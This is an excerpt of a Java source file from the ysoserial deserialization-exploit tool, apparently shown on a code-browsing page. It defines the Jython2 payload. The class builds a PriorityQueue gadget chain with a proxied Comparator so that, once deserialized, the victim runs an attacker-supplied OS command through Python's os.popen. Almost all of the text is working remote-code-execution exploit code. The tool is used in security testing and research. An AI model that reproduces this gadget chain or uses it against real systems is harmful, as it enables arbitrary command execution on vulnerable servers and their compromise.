Class Jython2

src/main/java/ysoserial/payloads/Jython2.java:40–69

Credits: Steven Seeley (@steventseeley) and Rocco Calvi (@TecR0c) Thanks to Alvaro Munoz (@pwntester) for the InvocationHandler tekniq! This version of Jython2 executes python2 code on the victim machine. Note that we are in a Py.eval here so if you want to jump to native python2 code you will need

 */

@PayloadTest(skip="non RCE")
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
@Dependencies({ "org.python:jython-standalone:2.7.3" })
@Authors({ Authors.SSEELEY, Authors.RCALVI })
public class Jython2 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
    public PriorityQueue getObject(String command) throws Exception {
        Class<?> BuiltinFunctionsclazz = Class.forName("org.python.core.BuiltinFunctions");
        Constructor<?> c = BuiltinFunctionsclazz.getDeclaredConstructors()[0];
        c.setAccessible(true);
        Object builtin = c.newInstance(RandomStringUtils.randomAscii(12), 18, 1);
        PyMethod handler = new PyMethod((PyObject)builtin, null, new PyString().getType());
        Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
        PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
        HashMap<Object, PyObject> myargs = new HashMap<Object, PyObject>();
        myargs.put("cmd", new PyString(command));
        PyStringMap locals = new PyStringMap(myargs);
        Object[] queue = new Object[] {
            // system('notepad')会阻塞进程 popen不会
            // new PyString("__import__('os').system(cmd)"), // attack
            new PyString("__import__('os').popen(cmd)"), // attack
            locals,                                       // context
        };
        Reflections.setFieldValue(priorityQueue, "queue", queue);
        Reflections.setFieldValue(priorityQueue, "size", 2);
        return priorityQueue;
    }
    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(Jython2.class, args);
    }
}